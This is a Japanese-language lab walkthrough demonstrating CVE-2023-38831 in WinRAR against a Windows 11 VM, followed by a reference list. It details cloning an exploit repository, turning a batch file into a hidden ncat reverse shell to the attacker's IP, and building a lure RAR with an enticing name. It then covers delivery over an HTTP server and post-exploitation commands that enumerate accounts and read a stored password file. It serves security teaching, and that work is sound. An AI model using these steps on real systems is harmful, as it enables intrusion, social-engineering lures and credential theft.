
CVE-2023-38831に関するPOCデモ
CVE-2023-38831 に関する POC デモ
脆弱性の概要
脆弱性はどのように機能するのか?

悪用の第一部
悪用を開始するための前半は、攻撃者のマシンで行われます。

1) まず、悪意のある添付ファイル「pdf」、エクスプロイト用 Python コード、バッチスクリプトを含む悪用フォルダを次のコマンドで作成する必要があります: 「git clone https://github.com/HDCE-inc/CVE-2023-38831」

2) これは、悪用が行われる前のフォルダの内容です。

3) ifconfig を使用して Kali マシンの IP アドレスを確認します:

4) 次に、script.bat の既存のスクリプトを次のコマンドライン(上の画像)に変更します。
「start」はコマンドラインプロセスを開始するため、「/min」はコマンドプロンプトをバックグラウンドで最小化するため、ncat は攻撃者の IP アドレスにポート 4444 経由で接続を開始するため、最後に「-e cmd.exe」はコマンドプロンプトでコマンドラインを実行するためです。

5) 以下は、exploit.py コードの説明です:
1 は、おとりファイル名(document.pdf)、スクリプトファイル名(bat.script)、および被害者に RAR ファイルとして表示される出力名のユーザー入力を指します。この場合、getrich.rar として保存します。
2 は、Kali Linux マシンの CVE-2023-38831 フォルダ内に既存のファイルが正しい命名規則で存在するかを検証するチェックを指します。命名が間違っているかファイルが重複している場合は、エラーメッセージが表示され、プログラムは停止して終了します。
3 は、os.mkdir() を使用して一時ファイルの保存先を作成し、アーカイブに圧縮される前に新しく作成されたファイルを保存してワークスペースとして使用することを指します。
4 は、コピー行である shutil.copyfile を指し、おとりファイルとスクリプトファイルの両方を「tmp」内のそれぞれのディレクトリにコピーして保存し、次のステップに進む前に必要なファイルがすべて正しく配置されていることを確認します。次のステップでは、shutil.make_archieve が「tmp」フォルダ内のすべてを含む「tmp.zip」というアーカイブを「tmp」から作成します。
5 は、上記のコードが正常に実行され、おとりファイル、スクリプトファイル、出力ファイル名のユーザー入力によってエクスプロイトとしての RAR ファイルが正常に作成されたことを指します。

6) IP アドレスを取得し、バッチスクリプトを変更したら、「python exploit.py」コマンドを実行して悪意のある「.rar」ファイルの作成に進むことができます。
exploit.py は 3 つのフィールドのユーザー入力を要求します。既存のおとりファイル名(document.pdf)、以前に変更したスクリプトファイル名(script.bat)、および被害者を騙してファイルをダウンロードさせクリックさせるための出力 RAR ファイル名です。この場合、「steps-to-generate-income.rar」という適切な名前を使用しました。 これで CVE-2023-38831 は被害者のマシンを悪用する準備が整いました。
悪用の第二部
後半は、Kali マシンと被害者のマシン(Windows 11 VM)の両方で行われます。

1) まず、悪意のあるウェブサイトを作成するか、添付ファイルを被害者に送信します。
左側では、「python -m http.server 8080」を実行します。このコマンドは、どの IP アドレスがこの悪意のある URL にアクセスしたかをキャプチャするプロセスであり、これにより被害者の IP アドレスを知ることができ、特定の IP アドレスによる「200」などのさまざまな HTTP リクエストを待ち受けます。右側では、被害者がこの IP アドレスに誘導され、「steps-to-generate-income.rar」ファイルをダウンロードするように仕向けられます。

2) 被害者が悪意のあるファイル「steps-to-generate-income.rar」をダウンロードするように誘導されると、どの IP アドレスがいつファイルをダウンロードしたかが表示されます。この情報から、被害者の IP アドレスを取得できます。

3) 次に、Kali マシンのポート 4444 で ncat をセットアップします。ポート 4444 は、被害者のマシンで実行される script.bat に記述されているポートと同じポートに同期するためです。
被害者が document.pdf をクリックすると、bat.script がコマンドラインを実行してバックグラウンドで瞬時に最小化し、攻撃者にバックドア接続を許可します。

4) 次に、「C:\Windows」と入力してから「dir」と入力して保存されているさまざまな exe ファイルを一覧表示するなど、被害者のマシンでさまざまなコマンドを実行できます。
被害者のマシンで実行された 3 つのコマンドは次のとおりです。「1」で強調表示されている最初のコマンドは「net user」で、アカウントがいくつあるかを確認します。これにより、アカウントが W11 の 1 つだけであると結論付けることができます。
「2」で強調表示されている 2 番目のコマンドは「systeminfo」で、被害者のマシンについて詳しく理解し、ユーザーがどのような権限を持っているかを確認します。この例では管理者権限です。
「3」で強調表示されている 3 番目のコマンドは、ランダムなフォルダを移動するものです。この場合、「C:\Users\W11」と入力してから「dir」と入力してファイルとフォルダの種類を確認し、次に「C:\Users\W11\Documents」と入力してから「dir」と入力して Documents ディレクトリの内容を確認します。幸いなことに、このユーザーはパスワードを notepad.txt に保存しています。次に、コマンドラインでこのメモ帳の詳細を出力して内容を明らかにします。「type secret.txt」。この結果から、このコマンドラインを使用して被害者のマシン内のファイルを読み取り、書き込み、編集できることがわかります。キーロガーを仕込むなどのさらなるアクションも実行でき、被害者のマシンをより脆弱にして、より多くの機密情報をさらすことができます。

5) 最後に、次のコマンドを実行してユーザーのデスクトップにメモ帳ファイルを作成できます:
「echo "You've been hacked, please go to testingwebsite" > C:\Users\W11\D\hacked.txt」を実行すると、被害者のマシンが悪用されたことを示す hacked.txt がユーザーのデスクトップに作成されます。
Deland-Han. (2014, February 19). Dynamic link library (DLL) - Windows Client. Microsoft Learn. https://learn.microsoft.com/en-us/troubleshoot/windows-client/setup-upgrade-and-drivers/dynamic-link-library
Gillis, A. S. (2023, September 26). principle of least privilege (POLP). Security. https://www.techtarget.com/searchsecurity/definition/principle-of-least-privilege-POLP
GmbH, W. (n.d.). WinRAR 7.00 Final released. WinRAR Latest News. https://www.win-rar.com/singlenewsview.html?&L=0&cHash=c5bf79590657e32554c6683296a8e8aa&tx_ttnews%5Btt_news%5D=232
Lab, S. (2023, September 26). Analysis of CVE-2023-38831 Zero-Day vulnerability in WinRAR. Penetration Testing and CyberSecurity Solution - SecureLayer7. https://blog.securelayer7.net/analysis-of-cve-2023-38831-zero-day-vulnerability-in-winrar/
Patch management: benefits and best practices | Balbix. (2022, October 22). Balbix. https://www.balbix.com/insights/patch-management-benefits-and-best-practices/
Research, U. T. (2023, November 17). WinRAR CVE-2023-38831 Vulnerability: Malware Exploits & APT Attacks. https://www.uptycs.com/blog/cve-2023-38831-winrar-zero-day
Slavin, B. (2024, March 18). Common DMARC problems faced by users | DMARC Report. DMARC Report. https://dmarcreport.com/blog/common-dmarc-problems-faced-by-users/
ThreatLocker. (2023, September 11). WinRAR Remote Code Execution. ThreatLocker. https://www.threatlocker.com/blog/winrar-remote-code-execution
Traders’ Dollars in Danger: CVE-2023-38831 zero-Day vulnerability in WinRAR exploited by cybercriminals to target traders. (2023, August 23). Group-IB. https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/
Vulnera. (2023, November 16). DarkCasino: a new APT threat leveraging WinRAR vulnerability - VULNERA. VULNERA - Vulnerability Management. Simplified. https://vulnera.com/newswire/darkcasino-a-new-apt-threat-leveraging-winrar-vulnerability/